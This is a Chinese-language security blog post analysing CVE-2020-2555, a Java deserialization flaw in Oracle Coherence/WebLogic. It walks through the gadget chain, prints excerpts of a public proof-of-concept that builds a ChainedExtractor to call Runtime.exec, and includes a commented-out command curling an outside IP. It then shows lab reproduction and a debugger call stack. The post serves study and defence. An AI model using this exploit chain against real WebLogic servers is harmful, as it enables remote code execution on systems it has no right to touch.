CVE-2020-2555——Coherence反序列化初探-安全客

一、原理

（一）概述

不安全的反序列化漏洞已成为针对Java Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE，并且通常不容易彻完全修补。CVE-2020-2555就属于这一类。

针对CVE-2015-4852的补丁的绕过有两种大思路，一是寻找新的可以实现任意代码执行的类，二是换可触发利用链的反序列化点（包括换接收输入的点和换到包装类的内部）。之前的绕过基本上都是第二种，这里主要是第一种，在选择的类上直接另立门户。

（二）CVE-2020-2555

CVE-2020-2555也是反序列化漏洞，其内部的原理不很是很复杂，却非常值得学习。

前面讲过一个故事，现在接着往下编。那个小孩子觉得药都不好吃，于是闹着不想吃药（有了新补丁），医生干脆放弃吃药（找不到新的包装类了），转为输液治疗（CVE-2017-3248），但是小孩子觉得输液会疼，又不想输液，于是医生找了一种甜的药（CVE-2020-2555），用来治病（getshell）。

（三）原理

1.原理

清水川崎原文链接

ReflectionExtractor内有method.invoke()，可以用于执行任意方法，

通过构造链式的ChainedExtractor就可以实现任意代码执行。LimitFilter中的toString()方法会调用m_extractor的extract()，而BadAttributeValueExpException的readObject()中可以调用其成员变量的toString()。

由此一来，我们可以构造BadAttributeValueExpException的val为LimitFilter对象，这个对象的m_extractor为内部成链的chainedExtractor，和上面一段的描述逆序执行，最终触发RCE。

2.工具分析

这里用Y4er师傅的PoC，将CVE_2020_2555.java添加到weblogic_cmd中。

Y4er师傅 PoC链接

择要展示一下代码。

先是按顺序构造ChainedExtractor，

// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
        "getMethod",
        new Object[]{"getRuntime", new Class[0]}
);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
        "invoke",
        new Object[]{null, new Object[0]}
);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
        "exec",
        new Object[]{new String[]{"calc"}}
        //new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);

ReflectionExtractor[] extractors = {
        extractor1,
        extractor2,
        extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

再是封装进LimitFilter对象，

LimitFilter limitFilter = new LimitFilter();

//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);

//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);

接下来将其封装进BadAttributeValueExpException，

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

看到这里，我回想起了CVE-2016-3510中用到的CC1链，相似度可谓非常高了，CC1中的InvokerTransformer也有method.invoke()，几个Transformer封装成了ChainedTransformer，再封装进可以对成员变量调用readObject()的类，最终发送出去。

整个链的构造如出一辙，不一样的就是换了反序列化点，CVE-2016-3510中readObject便算是完成了任务，而CVE-2020-2555中则是再通过toString进入另一层面。

二、调试

（一）环境搭建

版本与之前不同了，漏洞用到的UniversalExtractor是WebLogic 12.2.1.4.0所特有的，而vulhub\weblogic均是10.3.6版本的，搭建相应的docker也需要下载相应的jar，可直接搭在本机上。

（二）复现

运行PoC，

弹出计算器，

（三）调试

先上调用栈，

extract:121, ReflectionExtractor (com.tangosol.util.extractor)
extract:105, ChainedExtractor (com.tangosol.util.extractor)
toString:599, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

PoC打过去，断下，

一开始先是BadAttributeValueExpException对象的readObject，

这里的val对应PoC中这几行代码，

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

因为我是在本地调试，有时候想看什么结果就会在调试器内部执行完恶意代码，就会弹出计算器，不是什么大问题。